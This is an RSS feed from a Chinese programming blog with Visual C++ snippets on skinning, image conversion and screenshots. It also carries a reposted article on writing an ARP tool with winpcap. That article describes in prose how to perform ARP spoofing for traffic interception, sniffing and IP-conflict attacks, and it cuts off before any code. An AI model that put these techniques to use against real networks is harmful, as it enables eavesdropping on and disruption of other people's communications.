﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-飞鸟JAVA-文章分类-VC</title><link>http://www.blogjava.net/yczz/category/20110.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 04 Jul 2007 17:52:06 GMT</lastBuildDate><pubDate>Wed, 04 Jul 2007 17:52:06 GMT</pubDate><ttl>60</ttl><item><title>PE文件结构</title><link>http://www.blogjava.net/yczz/articles/128092.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Wed, 04 Jul 2007 05:45:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/128092.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/128092.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/128092.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/128092.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/128092.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 本章提要&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PE文件格式概述&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PE文件结构&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/128092.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/128092.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-07-04 13:45 <a href="http://www.blogjava.net/yczz/articles/128092.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调试Release版本应用程序</title><link>http://www.blogjava.net/yczz/articles/102781.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 09 Mar 2007 03:53:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/102781.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/102781.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/102781.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/102781.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/102781.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 调试														Release														版本应用程序																																																														引言																		如果在您的开发过程中遇到了常见的错误，或许您的				...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/102781.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/102781.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-03-09 11:53 <a href="http://www.blogjava.net/yczz/articles/102781.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ActiveSkin 4.3 软件换肤</title><link>http://www.blogjava.net/yczz/articles/102657.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Thu, 08 Mar 2007 10:38:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/102657.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/102657.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/102657.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/102657.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/102657.html</trackback:ping><description><![CDATA[
		<p align="center">
				<b>ActiveSkin 4.3 软件换肤在VC中的实现</b>
				<br />
				<br />　　ActiveSkin是一款给软件更换皮肤的ActiveX控件。它很还好的将软件界面设计工作从繁琐程序代码编写中解放出来，使得功能设计者可以专心于功能代码的实现，而把软件界面交给美工人员处理。提高了界面设计的工作效率，是一种很好的软件设计思想。<br /><br />下面通过三个示例来介绍他的一般使用。<br /><br /><b>示例一：</b>标准型皮肤SkinForm的对话框工程<br />　　在VC环境下建立一个MFC基本对话框工程。在对话框的资源文件里Dlg.rc设计对话框界面中，删去已有的按钮Buttons和标签Lables，并插入ActiveSkin的ActiveX控件，命名为IDC_SKIN。右键点击ActiveSkin控件，在ActiveX属性里选择LoadSkin菜单项，可预先加载一个Skin文件。<br />在StdAfx.h中 //{{AFX_INSERT_LOCATION}} 之前添加以下语句： </p>
		<pre>    //目的是导入ActiveSkin的函数接口库。
    #include &lt;atlbase.h&gt;
    #import "actskn43.ocx" no_implementation raw_interfaces_only raw_native_types
    using namespace ACTIVESKINLib;
</pre>接着，在Dlg.cpp文件里添加语句： <pre>    CComQIPtr&lt;ISkin&gt; m_pSkin=GetDlgItem(IDC_SKIN)-&gt;GetControlUnknown();//m_pSkin是应用程序全局量。
    m_pSkin-&gt;LoadSkin(L"皮肤文件X的路径");//如果ActiveSkin控件中已有皮肤，此句可省略。
    m_pSkin-&gt;ApplySkin((int)m_hWnd);
</pre>　　编译运行，可以看到皮肤文件X成为了程序的运行界面。如果想要在程序运行时更换皮肤，那也是可以的。在对话框上建立一个Button，并添加Click事件： <pre>    void CMy1Dlg::OnBNewSkin() 
    {
      static char BASED_CODE szFilter[] = "ActiveSkin Files (*.skn)|*.skn||";//文件过滤器设置。
      CFileDialog dlg(FALSE, ".skn", NULL, OFN_HIDEREADONLY, szFilter);//Skin文件选择窗口。
      if (dlg.DoModal() == IDOK)//Skin文件选择成功：
      {
        USES_CONVERSION;
        m_pSkin-&gt;LoadSkin(T2W(dlg.GetPathName()));//载入指定的Skin文件。
        m_pSkin-&gt;ApplySkin((int)m_hWnd);//使当前Skin生效。
      }
    } </pre>　　你会发现运行时主窗口已经换肤成功了，但“关于”对话框等非主窗口并没变化。需要在AboutDlg的OnInitDialog()事件中加入一句：<pre>    m_pSkin-&gt;ApplySkin((int)m_hWnd);
</pre>再运行就一切Ok了！<br /><br /><b>示例二：</b>标准皮肤SkinForm的多文档工程<br />　　和示例一的做法类似，不同的只是子窗体在ChildFrm.cpp的Create事件中要做修改： <pre>    BOOL bRes = CMDIChildWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, pContext);
    m_pSkin-&gt;ApplySkin((long)m_hWnd);
    return bRes;
</pre>这样就可以了。 <br /><br /><b>示例三：</b>自由皮肤SkinFreeForm的事件操作<br />　　和上述的SkinForm不同，SkinFreeFrom是另一类型的皮肤文件方案。因此它的操作方法上就有所不同了。可以参照ActiveSkin自带样例中的DesktopColorizer一例。SkinForm和SkinFreeFrom的主要区别在于SkinApply方法和事件的驱动方式上。 <pre>    if(FAILED(m_pSkin-&gt;LoadSkin(Temp))||　　　//均使用LoadSkin()装载某一Skin，参数是Skin文件的路径名。
      FAILED(m_pSkin-&gt;ApplySkinByName((long)m_hWnd, L"FreeForm")))

      //SkinForm类型的皮肤使用ApplySkin使其生效，
      //这种方式会自动将某Skin中的所有SkinObject元素替代指定Handle的窗口。
      //SkinFreeForm类型的皮肤使用ApplySkinByName()使其生效，
      //其中第一个参数是窗口句柄，第二个参数是SkinBuilder中一个Object的名字。 
    {
      MessageBox("Could not load or apply the skin.");
      PostMessage(WM_CLOSE); 
      return FALSE;
    }
</pre>　　事件驱动的区别：SkinForm换肤时不影响程序代码的原事件工作方式，只是界面上的换肤，因而SkinForm::ApplySkin(Handle)就OK了；但是SkinFreeForm就不同了，它必须用一个消息泵，采用消息的方式使程序获得Skin上的事件，而且在其事件中采用ISkinObject::GetName(BSTR *)获得相关的皮肤元素，用GetSkinnedWindow(hWnd).FindObject("Screen")来获取相应的元素句柄设置元素状态。简单的消息泵可以通过Skin控件上右键Event设置并编写。<br />　　具体实现请看示例源代码。示例在使用前请安装好ActiveSkin4.3，可能还需要修改事例中Skin控件初始的LoadSkin(Skin文件)才能正常使用<img src ="http://www.blogjava.net/yczz/aggbug/102657.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-03-08 18:38 <a href="http://www.blogjava.net/yczz/articles/102657.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bmp转JPG</title><link>http://www.blogjava.net/yczz/articles/100992.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Tue, 27 Feb 2007 11:26:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100992.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100992.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100992.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100992.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100992.html</trackback:ping><description><![CDATA[#define  ULONG_PTR  void*<br />#include&lt;gdiplus.h&gt;   <br />#include&lt;GdiPlusEnums.h&gt; <br />#pragma comment(lib,"GdiPlus.lib")<br />using namespace Gdiplus; <br />int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)   <br />{<br />   UINT  num = 0;          // number of image encoders<br />   UINT  size = 0;         // size of the image encoder array in bytes<br />   GdiplusStartupInput gdiplusStartupInput;<br />   ULONG_PTR           gdiplusToken;<br />   GdiplusStartup(&amp;gdiplusToken, &amp;gdiplusStartupInput, NULL); <br />   ImageCodecInfo* pImageCodecInfo = NULL;<br />   GetImageEncodersSize(&amp;num, &amp;size);<br />   if(size == 0)   <br />    return -1;  // Failure<br />   pImageCodecInfo = (ImageCodecInfo*)(malloc(size));<br />   if(pImageCodecInfo == NULL)<br />    return -1;  // Failure<br />   GetImageEncoders(num, size, pImageCodecInfo);<br />   for(UINT j = 0; j &lt; num; ++j)   <br />   {  <br />    if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )   <br />    {<br />     *pClsid = pImageCodecInfo[j].Clsid;<br />     free(pImageCodecInfo);<br />     return j;  // Success  <br />    }     <br />   }<br />   free(pImageCodecInfo);<br />   GdiplusShutdown(gdiplusToken);<br />   return -1;  // Failure  <br />}  <br />  <br />void BMP2JPG(CString strBMPFile,CString strJPGFile)<br />{<br />    CLSID  encoderClsid;<br />    WCHAR  strGuid[39];<br />    if(GetEncoderClsid(L"image/jpeg", &amp;encoderClsid) &gt;= 0)<br />    StringFromGUID2(encoderClsid, strGuid, 39);<br />    Image image(strBMPFile.AllocSysString());<br />    image.Save(strJPGFile.AllocSysString(),&amp;encoderClsid,NULL);<br />}<img src ="http://www.blogjava.net/yczz/aggbug/100992.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-27 19:26 <a href="http://www.blogjava.net/yczz/articles/100992.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>读取磁盘图片文件并显示</title><link>http://www.blogjava.net/yczz/articles/100639.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 25 Feb 2007 13:16:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100639.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100639.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100639.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100639.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100639.html</trackback:ping><description><![CDATA[//参数 图片路径，窗口句柄，图片宽，高<br />HRESULT ShowPic(char *lpstrFile,HWND hWnd,int nScrWidth,int nScrHeight) <br />{ <br /> HDC hDC_Temp=GetDC(hWnd); <br /> <br /> IPicture *pPic; <br /> IStream *pStm; <br /> <br /> BOOL bResult; <br /> <br /> HANDLE hFile=NULL; <br /> DWORD dwFileSize,dwByteRead; <br /> <br /> //打开硬盘中的图形文件 <br /> hFile=CreateFile(lpstrFile,GENERIC_READ, <br />  FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); <br /> <br /> if (hFile!=INVALID_HANDLE_VALUE) <br /> { <br />  dwFileSize=GetFileSize(hFile,NULL);//获取文件字节数 <br />  <br />  if (dwFileSize==0xFFFFFFFF) <br />   return E_FAIL; <br /> } <br /> else <br /> { <br />  return E_FAIL; <br /> } <br /> <br /> <br /> //分配全局存储空间 <br /> HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, dwFileSize); <br /> LPVOID pvData = NULL; <br /> <br /> if (hGlobal == NULL) <br />  return E_FAIL; <br /> <br /> if ((pvData = GlobalLock(hGlobal)) == NULL)//锁定分配内存块 <br />  return E_FAIL; <br /> <br /> ReadFile(hFile,pvData,dwFileSize,&amp;dwByteRead,NULL);//把文件读入内存缓冲区 <br /> <br /> GlobalUnlock(hGlobal); <br /> <br /> CreateStreamOnHGlobal(hGlobal, TRUE, &amp;pStm); <br /> <br /> //装入图形文件 <br /> bResult=OleLoadPicture(pStm,dwFileSize,TRUE,IID_IPicture,(LPVOID*)&amp;pPic); <br /> <br /> if(FAILED(bResult)) <br />  return E_FAIL; <br /> <br /> OLE_XSIZE_HIMETRIC hmWidth;//图片的真实宽度 <br /> OLE_YSIZE_HIMETRIC hmHeight;//图片的真实高度 <br /> pPic-&gt;get_Width(&amp;hmWidth); <br /> pPic-&gt;get_Height(&amp;hmHeight); <br /> <br /> <br /> //将图形输出到屏幕上（有点像BitBlt） <br /> bResult=pPic-&gt;Render(hDC_Temp,0,0,nScrWidth,nScrHeight, <br />  0,hmHeight,hmWidth,-hmHeight,NULL); <br /> <br /> pPic-&gt;Release(); <br /> <br /> CloseHandle(hFile);//关闭打开的文件 <br /> <br /> if (SUCCEEDED(bResult)) <br /> { <br />  return S_OK; <br /> } <br /> else <br /> { <br />  return E_FAIL; <br /> } <br />} <img src ="http://www.blogjava.net/yczz/aggbug/100639.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-25 21:16 <a href="http://www.blogjava.net/yczz/articles/100639.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>屏幕截图并保存</title><link>http://www.blogjava.net/yczz/articles/100425.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 23 Feb 2007 13:08:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100425.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100425.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100425.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100425.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100425.html</trackback:ping><description><![CDATA[void   SaveBmp(HBITMAP   hbmp,   LPCTSTR   sIconFileName)   <br />{   <br />  if(hbmp==NULL   ||   sIconFileName==NULL)   <br />  return;   <br />  //warning:   this   code   snippet   is   not   bullet   proof.   <br />  //do   error   check   by   yourself   [masterz]   <br />  PICTDESC   picdesc;   <br />  picdesc.cbSizeofstruct   =   sizeof(PICTDESC);   <br />  picdesc.picType   =   PICTYPE_BITMAP   ;           <br />  picdesc.bmp.hpal   =   NULL;   <br />  picdesc.bmp.hbitmap   =   hbmp;   <br />  IPicture*   pPicture=NULL;   <br />  OleCreatePictureIndirect(&amp;picdesc,   IID_IPicture,   TRUE,(VOID**)&amp;pPicture);   <br />  LPSTREAM   pStream;   <br />  CreateStreamOnHGlobal(NULL,TRUE,&amp;pStream);   <br />  LONG   size;   <br />  HRESULT   hr=pPicture-&gt;SaveAsFile(pStream,TRUE,&amp;size);   <br />  char   pathbuf[1024];   <br />  strcpy(pathbuf,sIconFileName);   <br />  CFile   iconfile;   <br />  iconfile.Open(pathbuf,   CFile::modeCreate|CFile::modeWrite);   <br />  LARGE_INTEGER   li;   <br />  li.HighPart   =0;   <br />  li.LowPart   =0;   <br />  ULARGE_INTEGER   ulnewpos;   <br />  pStream-&gt;Seek(   li,STREAM_SEEK_SET,&amp;ulnewpos);   <br />  ULONG   uReadCount   =   1;   <br />  while(uReadCount&gt;0)   <br />  {   <br />    <br />  pStream-&gt;Read(pathbuf,sizeof(pathbuf),&amp;uReadCount);   <br />  if(uReadCount&gt;0)   <br />  iconfile.Write(pathbuf,uReadCount);   <br />  }   <br />  pStream-&gt;Release();   <br />  iconfile.Close();   <br />}   <br />    <br /> void   CsaveviewView::OnSaveview()   <br />{   <br />  CClientDC   dc(this);   <br />  CDC   dcmem;   <br />  dcmem.CreateCompatibleDC(&amp;dc);   <br />  CBitmap   bmp;   <br />  CRect   rc;   <br />  GetClientRect(&amp;rc);   <br />  bmp.CreateCompatibleBitmap(&amp;dc,rc.Width(),rc.Height());   <br />  dcmem.SelectObject(&amp;bmp);   <br />  dcmem.BitBlt(0,0,rc.Width(),rc.Height(),&amp;dc,0,0,SRCCOPY);   <br />  SaveBmp(bmp,"c:\\a.bmp");   <br /> }<img src ="http://www.blogjava.net/yczz/aggbug/100425.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-23 21:08 <a href="http://www.blogjava.net/yczz/articles/100425.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）详谈调用winpcap驱动写arp多功能工具</title><link>http://www.blogjava.net/yczz/articles/100172.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Sun, 18 Feb 2007 03:32:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100172.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100172.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100172.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100172.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100172.html</trackback:ping><description><![CDATA[详谈调用winpcap驱动写arp多功能工具<br /><br />Author: TOo2y[原创]<br />E-mail: TOo2y@safechina.net<br />Homepage: <a href="http://www.safechina.net/" target="_blank">www.safechina.net</a><br />Date: 11-9-2002<br /><br />一 winpcap驱动简介<br />二 Packet.dll相关数据结构及函数<br />三 T-ARP功能及原理介绍<br />四 T-ARP主要代码分析<br />五 T-ARP源代码<br /><br />一）winpcap驱动简介<br />    winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：<br />    1&gt; 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；<br />    2&gt; 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；<br />    3&gt; 在网络上发送原始的数据报；<br />    4&gt; 收集网络通信过程中的统计信息。<br /><br />    winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。<br /><br />    目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。<br /><br />    本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。<br /><br />二）Packet.dll相关数据结构及函数  <br />    本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。<br /><br />    首先介绍一些相关的数据结构：<br />      1. typedef struct _ADAPTER  ADAPTER  //描述一个网络适配器；<br />      2. typedef struct _PACKET PACKET     //描述一组网络数据报的结构；<br />      3. typedef struct NetType NetType    //描述网络类型的数据结构；<br />      4. typedef struct npf_if_addr npf_if_addr  //描述一个网络适配器的ip地址；<br />      5. struct bpf_hdr   //数据报头部；<br />      6. struct bpf_stat  //当前捕获数据报的统计信息。<br /><br />    下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：<br />    1&gt;  LPPACKET PacketAllocatePacket(void)<br />        如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。<br /><br />    2&gt;  VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br />        关闭参数中提供的网络适配器，释放相关的ADAPTER结构。<br /><br />    3&gt;  VOID PacketFreePacket(LPPACKET lpPacket)<br />        释放参数提供的_PACKET结构。<br /><br />    4&gt;  BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br />        返回可以得到的网络适配器列表及描述。<br /><br />    5&gt;  BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br />        返回某个网络适配器的全面地址信息。<br />        其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast<br />        IPAddress: ip地址<br />        SubnetMask: 子网掩码<br />        Broadcast: 广播地址<br /><br />    6&gt;  BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br />        返回某个网络适配器的MAC类型。<br />        NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：<br />          NdisMedium802_3: Ethernet(802.3)<br />          NdisMediumWan: WAN<br />          NdisMedium802_5: Token Ring(802.5)<br />          NdisMediumFddi: FDDI<br />          NdisMediumAtm: ATM<br />          NdisMediumArcnet878_2: ARCNET(878.2)<br /><br />    7&gt;  BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br />        返回几个关于当前捕获报告的统计信息。<br />        其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt<br />          bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；<br />          bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。<br /><br />    8&gt;  PCHAR PacketGetVersion()<br />        返回关于dll的版本信息。<br /><br />    9&gt;  VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br />        初始化一个_PACKET结构。<br /><br />    10&gt; LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br />        打开一个网络适配器。<br /><br />    11&gt; BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br />        从NPF驱动程序读取网络数据报及统计信息。<br />        数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|<br /><br />    12&gt; BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br />        发送一个或多个数据报的副本。<br /><br />    13&gt; BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br />        设置捕获数据报的内核级缓冲区大小。<br /><br />    14&gt; BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br />        为接收到的数据报设置硬件过滤规则。<br />        以下为一些典型的过滤规则：<br />          NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；<br />          NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；<br />          NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；<br />          NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；<br />          NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；<br />          NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。<br /><br />    15&gt; BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br />        设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。<br /><br />    16&gt; BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br />        设置在接收到一个数据报后“休息”的时间。<br />    <br />    以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： <a href="http://winpcap.polito.it/" target="_blank">http://winpcap.polito.it</a><br /><br />三）T-ARP功能及原理介绍<br />    准备工作：  <br />      1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；<br />      2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：<br />　　  　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　<br /><br />    选项:  <br />      -m  主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；<br />      -a  反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；<br />      -s  ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；<br />          网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；<br />          IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；<br />      -r  重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。<br /><br />    原理及实现过程：<br />      无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。<br /><br />      -m  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。<br /><br />      -a  以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。<br /><br />      -s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。<br /><br />      -s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。<br /><br />      -s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。<br /><br />      -r  在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。<br />      <br />四）T-ARP主要代码分析<br />    1&gt; 自定义函数：<br />      int getmine()    //发送ARP Request数据报，请求获得本地主机的mac地址；<br />      void getdata(LPPACKET lp,int op)  //分类处理接收到的数据报；<br />      DWORD WINAPI sniff(LPVOID no)     //将网络适配器设置为混杂模式，接收所有流过的数据报；<br />      DWORD WINAPI sendMASR(LPVOID no)  //发送ARP Request数据报，请求获得指定ip的mac地址；<br />      DWORD WINAPI sendSR(LPVOID no)    //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。<br /><br />    2&gt; 主要代码分析<br />      printf("\nLibarary Version: 